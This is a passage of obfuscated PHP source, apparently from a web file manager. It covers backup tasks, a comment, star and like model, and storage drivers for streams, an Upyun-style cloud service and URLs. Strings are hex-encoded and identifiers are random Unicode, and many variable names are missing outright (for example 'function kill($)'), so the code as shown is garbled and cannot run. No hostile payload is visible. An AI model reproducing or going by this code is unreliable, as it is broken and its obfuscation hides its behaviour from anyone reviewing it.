Model($̐[815])->get($̐[825]); $Ȫ = json_decode($Ȫ, !0); $Ȫ = is_array($Ȫ) ? $Ȫ : array(); if (!isset($Ȫ[$̐[799]])) { $Ȫ[$̐[799]] = $̐[90]; } unset($Ȫ[$̐[1675]]); Action($̐[1929])->taskInit(); Model($̐[1674])->cacheClear(); $ɀ = $̐[1930]; $븾 = Model($̐[1931])->findByKey($̐[1693], $ɀ); if (!$븾) { $븾 = array(); } if (isset($븾[$̐[196]])) { $븾[$̐[196]] = json_decode($븾[$̐[196]], !0); } if (isset($Ȫ[$̐[196]])) { $븾[$̐[196]][$̐[1678]] = $Ȫ[$̐[196]]; unset($Ȫ[$̐[196]]); } return array_merge($븾, $Ȫ); } public function listData($嵆 = false, $ٕ = "\155\157\x64\x69\146\x79\124\x69\155\x65", $ϡ = false) { return parent::listData($嵆, $ٕ, !0); } public function lastItem() { $Ս̿ = $this->listData(); return !empty($Ս̿[0]) ? $Ս̿[0] : null; } public function kill($) { $޳ =& $_SERVER[砐]; $ = $this->listData($); if (!$ || empty($[$޳[32]])) { return !0; } Task::kill($޳[824]); Task::kill($޳[845]); Task::kill($޳[854]); $ = $[$޳[32]]; $Ç = TEMP_FILES . $޳[823] . $ . $޳[8]; IO::remove($Ç, !1); return $this->remove($); } public function remove($) { $ș = $this->listData($); if (!$ș) { return !0; } return $this->backupRemove($ș); } private function backupRemove($) { parent::remove($[$_SERVER[砐][445]]); $Ǩ = $this->backupPath($); IO::remove($Ǩ, !1); return !0; } private function backupPath($) { $ =& $_SERVER[砐]; $ = $[$[32]]; $ܴ = Model($[815])->get($[816]); $ӷ޳ = substr(md5($[817] . $ܴ . $), 0, 8); return "\x7b\x69\x6f\x3a{$[$[796]]}\175\57\x64\x61\x74\141\x62\141\x73\x65\57\x62\141\143\x6b\x75\160\57" . $ . $[11] . $ӷ޳; } public function start() { $ =& $_SERVER[砐]; if ($GLOBALS[$[6]][$[91]][$[1932]] != $[90]) { return !0; } $䰟 = $this->config(); if (!$䰟 || $䰟[$[1675]] != $[90]) { return !1; } $ = $this->process(); foreach ($ as $ĵ) { if ($ĵ) { return Task::restart($ĵ[$[445]]); } } $쾩 = new Backup(); $ɱ֧ = $쾩->db(); if ($ɱ֧) { $ɱ֧ = $쾩->dbFile(); if ($ɱ֧ && $䰟[$[799]] == $[214]) { $ɱ֧ = $쾩->file(); } } Backup::set(array($[795] => 1, $[806] => time())); return !0; } public function process() { $ը =& $_SERVER[砐]; $ = array($ը[802] => Task::get($ը[824]), $ը[807] => Task::get($ը[845]), $ը[216] => Task::get($ը[854])); $Δ = !1; foreach ($ as &$œܯ) { if ($Δ) { $œܯ = !1; continue; } if ($œܯ) { $ = intval(_get($œܯ, $ը[1710], 0)); if (time() - $ > 7200) { Task::kill($œܯ[$ը[445]]); $Δ = !0; $œܯ = !1; } } } return $; } public function restore() { $꧒ =& $_SERVER[砐]; ActionCall($꧒[1111], !0, 1); ActionCall($꧒[1111], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\x63\157\x6d\155\145\156\164"; protected $tableMeta = array("\164\141\x62\154\x65\x4e\x61\155\x65" => "\143\x6f\155\155\145\156\x74\137\155\x65\164\141", "\x6d\145\164\141\x46\x69\x65\x6c\x64" => "\143\x6f\155\155\x65\156\x74\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($̋) { $놖ܻ =& $_SERVER[砐]; if ($̋[$놖ܻ[1933]]) { $ȕٹ = $this->where(array($놖ܻ[1934] => $̋[$놖ܻ[1933]]))->find(); if (!$ȕٹ || $ȕٹ[$놖ܻ[180]] != $̋[$놖ܻ[180]] || $ȕٹ[$놖ܻ[540]] != $̋[$놖ܻ[540]]) { return !1; } $this->where(array($놖ܻ[1934] => $̋[$놖ܻ[1933]]))->setAdd($놖ܻ[1935], 1); } $̋[$놖ܻ[1936]] = 0; $̋[$놖ܻ[1935]] = 0; $̋[$놖ܻ[795]] = 1; return $this->add($̋); } public function commentCount($, $, $Û = false) { $竹 =& $_SERVER[砐]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($竹[540], $竹[1937] => $竹[536]); $ӭ = array($竹[540] => array($竹[7], $), $竹[180] => $); if ($Û) { $ӭ[$竹[1705]] = $Û; } $ = $this->field($)->where($ӭ)->group($竹[540])->select(); return array_to_keyvalue($, $竹[540], $竹[536]); } public function starTarget($, $) { $ =& $_SERVER[砐]; $߼Ȅ = $ + self::TYPE_STAR_OFFSET; $㏈ = array($[1705] => USER_ID, $[180] => $߼Ȅ, $[540] => $); $ҟ = $this->where($㏈)->find(); if ($ҟ) { return $this->where(array($[445] => $ҟ[$[445]]))->delete(); } $ = array($[1933] => 0, $[1705] => USER_ID, $[795] => 1, $[799] => $[12], $[180] => $߼Ȅ, $[540] => $, $[1936] => 0, $[1935] => 0); return $this->add($); } public function starTargetCount($Ƒ, $Ȕ) { $ =& $_SERVER[砐]; $ = $Ȕ + self::TYPE_STAR_OFFSET; $錯 = $this->commentCount($Ƒ, $); $׼ = $this->commentCount($Ƒ, $, USER_ID); return array($[1938] => $錯, $[1939] => $׼); } public function starTargetUserList($, $) { $ؤ =& $_SERVER[砐]; $ = $ + self::TYPE_STAR_OFFSET; $Ֆ = array($ؤ[540] => $, $ؤ[180] => $); $ = $this->where($Ֆ)->count(); $ = array($ؤ[301] => $, $ؤ[1940] => array()); if (!$) { return $; } $ = $this->field($ؤ[1705])->where($Ֆ)->limit(500)->select(); $ = array_to_keyvalue($, $ؤ[12], $ؤ[1705]); $[$ؤ[1940]] = Model($ؤ[548])->userListInfo($); return $; } public function prasiseUserList($Ĝ) { $ =& $_SERVER[砐]; $ = array($[1941] => $Ĝ); $Ȏ = $this->where($)->find(); $ = _get($Ȏ, $[1936], 0); $﷋ = array($[301] => $, $[1940] => array()); if (!$) { return $﷋; } $ރ = Model($[1942])->field($[1705])->where($)->limit(500)->select(); $ރ = array_to_keyvalue($ރ, $[12], $[1705]); $﷋[$[1940]] = Model($[548])->userListInfo($ރ); return $﷋; } public function remove($) { $ݠ =& $_SERVER[砐]; $͡ = array($ݠ[1934] => $); $ = $this->where($͡)->find(); if ($[$ݠ[1933]]) { $this->where(array($ݠ[1934] => $[$ݠ[1933]]))->setAdd($ݠ[1935], -1); } return $this->where($͡)->delete(); } public function edit($, $) { $ƫ =& $_SERVER[砐]; $Ȱ = array($ƫ[1934] => $); return $this->where($Ȱ)->save(array($ƫ[1943] => $)); } public function prasise($؎) { $ =& $_SERVER[砐]; $ = Model($[1944]); $Ὅ = array($[1934] => $؎, $[1696] => USER_ID); $νɰ = $->where($Ὅ)->find(); if (!$νɰ) { $->add($Ὅ); $۵ = $this->where(array($[1934] => $؎))->setAdd($[1936], 1); } else { $->where($Ὅ)->delete(); $۵ = $this->where(array($[1934] => $؎))->setAdd($[1936], -1); } return $۵; } public function targetInfo($ڋ, $ȡ) { $񼄙ʯ =& $_SERVER[砐]; $ = array($񼄙ʯ[618] => $ڋ, $񼄙ʯ[619] => $ȡ); $ԋ = $this->where($)->count(); $ = "\x52\111\x47\x48\x54\40\112\117\111\x4e\x20{$this->tablePrefix}\143\x6f\155\155\145\x6e\164\x5f\x70\162\141\151\x73\x65\40\x73\x74\x61\x72\x20\x6f\x6e\40\143\157\x6d\x6d\x65\156\x74\x2e\x63\x6f\x6d\x6d\145\x6e\x74\x49\x44\40\x3d\40\163\x74\141\x72\x2e\x63\x6f\x6d\x6d\145\156\x74\x49\x44"; $ׄ = $this->alias($񼄙ʯ[400])->where($)->join($, $񼄙ʯ[1945])->count(); $ = array($񼄙ʯ[1946] => $ԋ, $񼄙ʯ[1947] => $ׄ); return $; } public function listData($ݻ) { $ =& $_SERVER[砐]; if (isset($ݻ[$[1948]])) { if ($ݻ[$[1948]]) { $ݻ[$[1941]] = array($[1065], intval($ݻ[$[1948]])); } unset($ݻ[$[1948]]); } if (isset($ݻ[$[1949]])) { if ($ݻ[$[1949]]) { $ݻ[$[1941]] = array($[1062], intval($ݻ[$[1949]])); } unset($ݻ[$[1949]]); } return $this->_listData($ݻ); } private function _listData($) { $ԃ =& $_SERVER[砐]; $Ǣ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($Ǣ[$ԃ[415]]); $this->_listAppendUser($Ǣ[$ԃ[415]]); $this->_listAppendMeta($Ǣ[$ԃ[415]]); return $Ǣ; } private function _makeOrder() { $Վ =& $_SERVER[砐]; $ = array($Վ[1936], $Վ[1935], $Վ[217]); $ = Input::get($Վ[500], $Վ[7], $Վ[467], $); $ = Input::get($Վ[501], $Վ[7], $Վ[1698], array($Վ[1950], $Վ[496])); $ͯ = $ . $Վ[53] . $; return $this->order($ͯ); } private function _listAppendParent(&$މ) { $쥏 =& $_SERVER[砐]; $ۖ = array_unique(array_to_keyvalue($މ, $쥏[12], $쥏[1933])); $ۖ = array_remove_value($ۖ, $쥏[214]); if (!$ۖ) { return; } $ۂ = $this->where(array($쥏[1934] => array($쥏[7], $ۖ)))->select(); $ۂ = array_to_keyvalue($ۂ, $쥏[1941]); foreach ($މ as &$) { if (isset($ۂ[$[$쥏[1933]]])) { $[$쥏[1951]] = $ۂ[$[$쥏[1933]]]; } } unset($); } private function _listAppendUser(&$) { $ɻ =& $_SERVER[砐]; $֗ޗ = array_unique(array_to_keyvalue($, $ɻ[12], $ɻ[1705])); $֗ޗ = array_remove_value($֗ޗ, $ɻ[214]); if (count($֗ޗ) == 0) { return; } foreach ($ as $˵) { if (isset($˵[$ɻ[1951]])) { $֗ޗ[] = $˵[$ɻ[1951]][$ɻ[1705]]; } } $Ӊ玩 = Model($ɻ[569])->userListInfo($֗ޗ); foreach ($ as &$˵) { $˵[$ɻ[632]] = $Ӊ玩[$˵[$ɻ[1705]]]; if (isset($˵[$ɻ[1951]])) { $˵[$ɻ[1951]][$ɻ[632]] = $Ӊ玩[$˵[$ɻ[1951]][$ɻ[1705]]]; } } unset($˵); } private function _listAppendMeta(&$ӊ㠠) { $“ =& $_SERVER[砐]; $ۧ׻ = array_unique(array_to_keyvalue($ӊ㠠, $“[12], $“[1941])); $ۧ׻ = array_remove_value($ۧ׻, $“[214]); if (!$ۧ׻) { return; } foreach ($ӊ㠠 as $ꙙ) { if (isset($ꙙ[$“[1951]])) { $ۧ׻[] = $ꙙ[$“[1951]][$“[1941]]; } } $ = $this->metaList($ۧ׻); if (!$) { return !1; } foreach ($ӊ㠠 as &$ꙙ) { $ꙙ[$“[509]] = $[$ꙙ[$“[1941]]]; if (isset($ꙙ[$“[1951]])) { $ꙙ[$“[1951]][$“[509]] = $[$ꙙ[$“[1951]][$“[1941]]]; } } unset($ꙙ); } private function metaList($̖) { $ =& $_SERVER[砐]; if (!$̖) { return array(); } $΍ = array($[1941] => array($[7], $̖)); $ä = Model($[1952])->where($΍)->select(); $ä = array_to_keyvalue_group($ä, $[1941]); foreach ($ä as $ => $Ң) { $ = array(); foreach ($Ң as $򚚣) { $[$򚚣[$[96]]] = $򚚣[$[420]]; } $ä[$] = $; } return $ä ? $ä : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\157\137\x66\x69\x6c\145\137\x63\x6f\156\164\145\x6e\164\163"; protected $dataAuto = array(array("\143\x72\x65\141\x74\x65\124\x69\x6d\x65", "\164\151\155\145", "\x69\156\163\x65\x72\164", "\x66\165\x6e\x63\164\x69\157\x6e")); } goto DƞѬ; B틺: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($ׅ, $Ԉ = 0) { parent::__construct(); $this->source = $ׅ; $this->sourceSize = $Ԉ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($𔜉 = false) { return $this->sourceSize; } public function getContent($榆 = false) { return $this->fileSubstr($榆, 0, $this->sourceSize); } public function fileSubstr($ = false, $󋬚 = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ӫщ = $this->sourceSize - $󋬚; if ($ >= $ӫщ) { $ = $ӫщ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $󋬚, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[砐][12]; } $і = ftell($this->source); fseek_64($this->source, $і + $󋬚); $㥨ܡ = @fread($this->source, $); fseek_64($this->source, $і); return $㥨ܡ; } } public function hashMd5($실 = false) { return md5($this->getContent()); } public static function hash($, $ػ = 0) { $ߢ = new PathDriverStream($, $ػ); return $ߢ->hashSimple($); } public static function md5($Ӵ, $͞ = 0) { $ѱ = new PathDriverStream($Ӵ, $͞); return $ѱ->hashMd5($Ӵ); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\164\x70\72\x2f\57\166\x30\x2e\x61\160\151\x2e\x75\x70\171\x75\156\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($մ缃) { parent::__construct(); $this->_init($մ缃); } public function _init($ڻ) { $ܴ؂ =& $_SERVER[砐]; foreach ($ڻ as $Ċն => $ݹ) { if (isset($this->{$Ċն})) { $this->{$Ċն} = $ݹ; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ܴ؂[1492] . LNG($ܴ؂[1424])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($𙓓, $͞ = "\107\x45\x54") { $ =& $_SERVER[砐]; $Ú = gmdate($[1457]); $ = base64_encode(hash_hmac($[1493], "{$͞}\x26{$𙓓}\x26{$Ú}", md5("{$this->userpass}"), !0)); $ = array("\x41\165\x74\x68\x6f\x72\151\x7a\x61\x74\151\x6f\156\x3a\125\x50\x59\125\116\x20{$this->username}\72{$}", "\104\141\x74\145\72{$Ú}"); return $; } public function ussRequest($, $; = "\107\105\x54", $ = false, $ = false, $䈴 = false) { $ަڱ =& $_SERVER[砐]; $ = trim($, $ަڱ[8]); $Ռ = "\x2f{$this->bucket}\x2f{$}"; $ = $this->ussHeaders($Ռ, $;); if ($) { $ = array_merge($, $); } $ = url_request($this->endpoint . $Ռ, $;, $, $, $䈴); if (!$) { return array($ަڱ[1263] => !1, $ަڱ[1253] => $ަڱ[1494]); } if (strtolower($;) == $ަڱ[213] || in_array($[$ަڱ[1263]], array($ަڱ[259], $ަڱ[1495]))) { $ = $[$ަڱ[1496]]; } else { $ = json_decode($[$ަڱ[1253]], !0); if (!$) { $ = $[$ަڱ[1253]]; } else { if (!$[$ަڱ[795]] && isset($[$ަڱ[1497]])) { $ = $[$ަڱ[1497]]; } } } return array($ަڱ[1263] => $[$ަڱ[795]], $ަڱ[1253] => $); } public function mkfile($, $ڝӠ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $ڝӠ)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $𩰞 = REPEAT_SKIP) { $ =& $_SERVER[砐]; $DzѨ = trim($, $[8]); if ($this->_isFolder($DzѨ)) { return $this->getPathOuter($DzѨ); } $򦇖 = array($[1498]); $܆ = $this->ussRequest($DzѨ, $[243], !1, $򦇖); return $܆[$[1263]] ? $this->getPathOuter($DzѨ) : !1; } public function copyFile($땼, $ʓ) { $˃ =& $_SERVER[砐]; $ = array($˃[1499] . "\57{$this->bucket}\x2f{$땼}", $˃[1500]); $ = $this->ussRequest($ʓ, $˃[245], !1, $); return $[$˃[1263]] ? !0 : $this->getPathOuter($ʓ); } public function moveFile($˓, $榹) { $篞 =& $_SERVER[砐]; $ح = array($篞[1501] . "\x2f{$this->bucket}\x2f{$˓}", $篞[1500]); $ʻ = $this->ussRequest($榹, $篞[245], !1, $ح); return $ʻ[$篞[1263]] ? !0 : $this->getPathOuter($榹); } public function delFile($˄) { $ݕ =& $_SERVER[砐]; $Ք = $this->ussRequest($˄, $ݕ[1502]); return $Ք[$ݕ[1263]] ? !0 : !1; } public function delFolder($Ӓ) { $硥 =& $_SERVER[砐]; if (!$this->exist($Ӓ)) { return !0; } $this->listItemCache = !1; $ = $ǹ = array(); $this->fileList($Ӓ, $, $ǹ, !0); $this->listItemCache = !0; foreach ($ǹ as $Ѥ) { $ʟ = $this->ussRequest($Ѥ[$硥[32]], $硥[1502]); if (!$ʟ[$硥[1263]]) { return !1; } } foreach ($ as $) { $ʟ = $this->ussRequest($, $硥[1502]); if (!$ʟ[$硥[1263]]) { return !1; } } $ʟ = $this->ussRequest($Ӓ, $硥[1502]); return $ʟ[$硥[1263]]; } public function rename($Ǟ, $) { if ($this->isFile($Ǟ)) { $ = get_path_father($Ǟ) . $; return $this->moveFile($Ǟ, $); } return $this->renameObject($Ǟ, $); } public function fileInfo($٭, $ = false, $⷟ґ = array()) { $ɣ =& $_SERVER[砐]; $ = array($ɣ[32] => $this->pathThis($٭), $ɣ[86] => $this->getPathOuter($ɣ[8] . $٭), $ɣ[33] => $ɣ[216], $ɣ[78] => isset($⷟ґ[$ɣ[78]]) ? $⷟ґ[$ɣ[78]] : 0, $ɣ[177] => $this->ext($٭)); if ($) { return $; } $[$ɣ[217]] = $[$ɣ[87]] = 0; $[$ɣ[218]] = $[$ɣ[219]] = !0; if (empty($⷟ґ)) { $⷟ґ = $this->objectMeta($٭); if (!$⷟ґ) { return $; } } $[$ɣ[217]] = intval($⷟ґ[$ɣ[1503]]); $[$ɣ[87]] = intval($⷟ґ[$ɣ[1504]]); $[$ɣ[78]] = $⷟ґ[$ɣ[78]]; return $; } public function folderInfo($׭, $ = false) { $ =& $_SERVER[砐]; $ܓ = array($[32] => $this->pathThis($׭), $[86] => $this->getPathOuter($[8] . $׭), $[33] => $[77]); if ($) { return $ܓ; } $ܓ[$[217]] = $ܓ[$[87]] = 0; $ܓ[$[218]] = $ܓ[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($׭); if (!$) { return $ܓ; } } $ܓ[$[217]] = intval($[$[1503]]); $ܓ[$[87]] = intval($[$[1504]]); return $ܓ; } private function listObjs($Üೋ, $Є = 0, $Ǩ = 1000) { $ =& $_SERVER[砐]; $ݮ = array($[1505], $[1506] . $Ǩ); if ($Є) { $ݮ[] = $[1507] . $Є; } $⸎ = $this->ussRequest($Üೋ, $[247], !1, $ݮ); return !$⸎[$[1263]] ? !1 : $⸎[$[1253]]; } private function fileList($ق, &$, &$Э, $ = false) { $ =& $_SERVER[砐]; $ǟ = $[12]; $ = 1000; $ൖ = rtrim($ق, $[8]) . $[8]; while (!0) { check_abort(); $ͪ = $this->listObjs($ق, $ǟ, $); if (!$ͪ) { return !1; } $ǟ = isset($ͪ[$[1508]]) ? $ͪ[$[1508]] : $[12]; $Ҙ = isset($ͪ[$[1509]]) ? $ͪ[$[1509]] : array(); foreach ($Ҙ as $) { $Ӆ = $[$[33]] == $[77] ? !0 : !1; $ʳ = ltrim($ൖ . $[$[32]], $[8]) . ($Ӆ ? $[8] : $[12]); $ِ = array($[32] => $ʳ, $[33] => $Ӆ ? $[77] : $[216], $[78] => $[$[383]], $[1504] => $[$[1510]]); $this->cacheMethodInfoSet($ʳ, $Ӆ, $ِ); if ($Ӆ) { $[] = $ʳ; if ($) { $this->fileList($ʳ, $, $Э, $); } continue; } $Э[] = $ِ; } if (count($Ҙ) < $) { break; } } $this->cacheMethodInfoSet($ق, !0); } public function listPath($ۚޮ, $ƀ = false) { $䱱 =& $_SERVER[砐]; $ = $¶ = array(); $this->fileList($ۚޮ, $, $¶); foreach ($ as $ => $Ŧ) { $[$] = $this->folderInfo($Ŧ, $ƀ); } foreach ($¶ as $ => $Ŧ) { $¶[$] = $this->fileInfo($Ŧ[$䱱[32]], $ƀ, $Ŧ); } return array($䱱[84] => $, $䱱[85] => $¶); } public function has($؟, $Ϻ = false, $η = true) { $ꇇ =& $_SERVER[砐]; $뷍 = $ꇇ[12]; $֢ = 500; $؝ʻ = 0; $ߢ = 0; $ = rtrim($؟, $ꇇ[8]) . $ꇇ[8]; while (!0) { check_abort(); $ = $this->listObjs($؟, $뷍, $֢); if (!$) { return !1; } $뷍 = isset($[$ꇇ[1508]]) ? $[$ꇇ[1508]] : $ꇇ[12]; $ڴͷ = isset($[$ꇇ[1509]]) ? $[$ꇇ[1509]] : array(); if (empty($ڴͷ)) { break; } $ = array_filter($ڴͷ, function ($̛) { $ =& $_SERVER[砐]; return $̛[$[33]] == $[77]; }); $ = count($ڴͷ); $ = count($); $ꁼ = $ - $; if ($Ϻ) { $ߢ += $; $؝ʻ += $ꁼ; if ($ < $֢) { break; } continue; } if ($η) { if ($ꁼ) { return !0; } } else { if ($) { return !0; } } if ($ < $֢) { break; } } if ($Ϻ) { return array($ꇇ[225] => $؝ʻ, $ꇇ[226] => $ߢ); } return !1; } public function listAll($҅) { $ =& $_SERVER[砐]; $µυ = $ = array(); $this->fileList($҅, $µυ, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($µυ as $쨆) { if (is_string($쨆)) { $[$쨆] = array($[78] => 0); } } return $this->listAllFiles($҅, $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($ֵ) { return $this->exist($ֵ) ? !0 : !1; } public function getContent($炕) { return $this->fileSubstr($炕, 0, -1); } public function setContent($은, $͝ = '') { $ځ =& $_SERVER[砐]; if (!$͝) { $ۅ = $this->ussRequest($은, $ځ[243]); return $ۅ[$ځ[1263]]; } $Ѷҗ = $this->tempFile($this->pathThis($은)); file_put_contents($Ѷҗ, $͝); if ($this->upload($은, $Ѷҗ)) { $this->tempFileRemve($Ѷҗ); return !0; } return !1; } public function fileSubstr($ȝ, $ذ, $) { $۫ =& $_SERVER[砐]; if (!($ = $this->link($ȝ))) { return !1; } $ = !1; if ($ > 0) { $ = $ذ + $ - 1; $ = array($۫[1471] . $ذ . $۫[432] . $); } $ü = url_request($, $۫[247], !1, $); return $ü[$۫[795]] ? $ü[$۫[1253]] : !1; } public function upload($, $єԏ, $ݲ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[砐]; $լ = IO::size($єԏ); if ($լ <= 1024 * 1024 * 200) { $˔ = array($[1511] . $єԏ); $ċ = $this->ussRequest($, $[245], $˔); return $ċ[$[1263]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ = array($[1512], $[1513] . $լ, $[1514], $[1515] . $); $ċ = $this->ussRequest($, $[245], !1, $); if (!$ċ[$[1263]]) { return !1; } $ڇ = $ċ[$[1253]]; $ɥ = 0; $ = $ڇ[$[1516]]; $Ŋ = fopen($єԏ, $[1418]); if (!$Ŋ) { return !1; } do { $͊¾ = $ڇ[$[1517]]; fseek_64($Ŋ, $ɥ); $ؿ = fread($Ŋ, $͊¾); $ = 0; do { $++; $ڇ = $this->uploadPart($, $ڇ, $ؿ); } while (!$ڇ && $ < 3); if (!$ڇ) { return !1; } $ = $ڇ[$[1516]]; $ɥ += $͊¾; } while ($ != -1); fclose($Ŋ); $ = array($[1518], $[1519] . $ڇ[$[1520]], $[1514]); $ċ = $this->ussRequest($, $[245], !1, $); return $ċ[$[1263]] ? $this->getPathOuter($ܝ) : !1; } private function uploadPart($, $ǎ, &$ʩ) { $ܑ§ =& $_SERVER[砐]; $ = array($ܑ§[1521], $ܑ§[1519] . $ǎ[$ܑ§[1520]], $ܑ§[1522] . $ǎ[$ܑ§[1516]], $ܑ§[145] . $ǎ[$ܑ§[1517]]); $ = $this->ussRequest($, $ܑ§[245], $ʩ, $); return !$[$ܑ§[1263]] ? $[$ܑ§[1263]] : $[$ܑ§[1253]]; } public function uploadFormData($ԩ, $ڿ = 3600) { return $this->uploadPolicy($ԩ, $ڿ); } public function multiUploadFormData($݀, $ʣ = 3600) { $ة =& $_SERVER[砐]; $у֛ = (int) $GLOBALS[$ة[7]][$ة[78]]; return $this->uploadPolicy($݀, $ʣ, $у֛); } private function uploadPolicy($ĉ, $ = 3600, $ = 0) { $ =& $_SERVER[砐]; $ = $[8] . $this->bucket; $ = gmdate($[1457]); $җ፺ = array($[1523] => $this->bucket, $[1524] => $ĉ, $[1525] => time() + $, $[1526] => $); if ($) { $җ፺[$[1438]] = $; } $ = base64_encode(json_encode($җ፺)); $ = base64_encode(hash_hmac($[1493], "\120\x4f\x53\x54\x26{$}\46{$}\x26{$}", md5("{$this->userpass}"), !0)); $ = array($[278] => $, $[1527] => "\x55\120\131\x55\116\x20{$this->username}\72{$}", $[198] => $this->endpoint . $); return $; } public function download($, $µ) { $ = IO::getPathInner(IO::mkfile($µ)); if (!($ = $this->link($))) { return !1; } $ = 0; $ڽ = 1024 * 200; $ = fopen($, $_SERVER[砐][1477]); while (!0) { $ = $this->fileSubstr($, $, $ڽ); if ($ === !1) { return !1; } fwrite($, $); $ += $ڽ; if (strlen($) < $ڽ) { break; } } fclose($); return $µ; } public function link($, $ؒ = array()) { $݀ =& $_SERVER[砐]; $ = trim($, $݀[8]); if (!empty($this->token)) { $ = strtotime(date($݀[1528])); $ճ = substr(md5($this->token . $݀[330] . $ . $݀[1529] . $), 12, 8) . $; $ؒ[] = $݀[1530] . $ճ; } $Դ = !empty($ؒ) ? $݀[75] . implode($݀[330], $ؒ) : $݀[12]; return $this->getHost() . $݀[8] . $ . $Դ; } public function fileOut($먏, $紳 = false, $Ɏ = false, $ιޔ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($먏, $紳, $Ɏ, $ιޔ); } if (!$Ɏ) { $Ɏ = $this->pathThis($먏); } $֒ = $紳 ? array($_SERVER[砐][1531] . rawurlencode($Ɏ)) : array(); $ = $this->link($먏, $֒); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $쏢 = '') { parent::fileOut($, $, $, $쏢); } public function fileOutImage($ǽ, $釳 = 250) { $۱ = $this->link($ǽ . $_SERVER[砐][1532] . $釳); $this->fileOutLink($۱); } public function fileOutImageServer($, $і = 250) { parent::fileOutImage($, $і); } public function hashMd5($Ҷ) { $ =& $_SERVER[砐]; $կ = $this->_objectMeta($Ҷ); return isset($կ[$[230]]) ? $կ[$[230]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[砐][78]] : 0; } public function info($ҵ) { if ($this->isFolder($ҵ)) { return $this->folderInfo($ҵ); } else { if ($this->isFile($ҵ)) { return $this->fileInfo($ҵ); } } return !1; } public function exist($Ў) { return $this->isFile($Ў) || $this->isFolder($Ў); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[砐][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[砐][170], $); } protected function _objectMeta($ʵ) { $π =& $_SERVER[砐]; if ($ʵ == $π[12] || $ʵ == $π[8]) { return array(); } $Ӱ = $this->ussRequest($ʵ, $π[1533]); if (!$Ӱ[$π[1263]]) { return null; } $ƿԎ = isset($Ӱ[$π[1253]]) ? $Ӱ[$π[1253]] : array(); if (!isset($ƿԎ[$π[1534]])) { return null; } $܋ = array($π[33] => isset($ƿԎ[$π[1534]]) ? $ƿԎ[$π[1534]] : null, $π[78] => isset($ƿԎ[$π[1535]]) ? $ƿԎ[$π[1535]] : null, $π[230] => isset($ƿԎ[$π[1536]]) ? $ƿԎ[$π[1536]] : null, $π[1503] => isset($ƿԎ[$π[1537]]) ? $ƿԎ[$π[1537]] : null); $܋[$π[1504]] = isset($ƿԎ[$π[1538]]) ? strtotime($ƿԎ[$π[1538]]) : $܋[$π[1503]]; return $܋; } protected function _isFolder($) { $މ =& $_SERVER[砐]; if ($ == $މ[12] || $ == $މ[8]) { return !0; } $ݖ = $this->_objectMeta($); return isset($ݖ[$މ[33]]) && $ݖ[$މ[33]] == $މ[77] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ۼ = false) { } public function exist($䔀) { $–ϻ = $this->info($䔀); return $–ϻ[$_SERVER[砐][218]]; } public function isFile($) { $̱ = $this->info($); return $̱[$_SERVER[砐][218]]; } public function isFolder($) { return !1; } public function size($) { $Ш = $this->info($); return $Ш[$_SERVER[砐][78]]; } public function info($瀷) { return $this->infoParse($瀷); } public function infoAuth($؜) { return $this->infoParse($؜); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($ωЗ) { return $this->infoParse($ωЗ); } private function infoParse($Ũ) { $ϥ =& $_SERVER[砐]; $οՏ = $this->header($Ũ); if (!$οՏ || !$οՏ[$ϥ[795]]) { return !1; } $ = _get($οՏ, $ϥ[383], 0); $ = array($ϥ[32] => $οՏ[$ϥ[32]], $ϥ[86] => $Ũ, $ϥ[33] => $ϥ[216], $ϥ[78] => intval($), $ϥ[177] => get_path_ext($οՏ[$ϥ[32]]), $ϥ[1415] => $ > 0 && $οՏ[$ϥ[1539]], $ϥ[1416] => !1); return $; } private function header($؞װ) { $ =& $_SERVER[砐]; if (isset(self::$_cacheHeader[$؞װ])) { return self::$_cacheHeader[$؞װ]; } $ژ = isset($GLOBALS[$[1540]]) ? $GLOBALS[$[1540]] : !1; $GLOBALS[$[1540]] = !0; self::$_cacheHeader[$؞װ] = url_header($؞װ); $GLOBALS[$[1540]] = $ژ; return self::$_cacheHeader[$؞װ]; } public function hashSimple($̏Ȳ, $瀀 = false) { $ =& $_SERVER[砐]; $۰֪ = $this->info($̏Ȳ); if (!$۰֪ || !$۰֪[$[218]]) { return !1; } $܎ = $۰֪[$[78]]; $ = 200; $ = 50; if ($܎ <= $ * $) { return md5($this->fileSubstr($̏Ȳ, 0, $܎)) . $܎; } $久 = intval($܎ 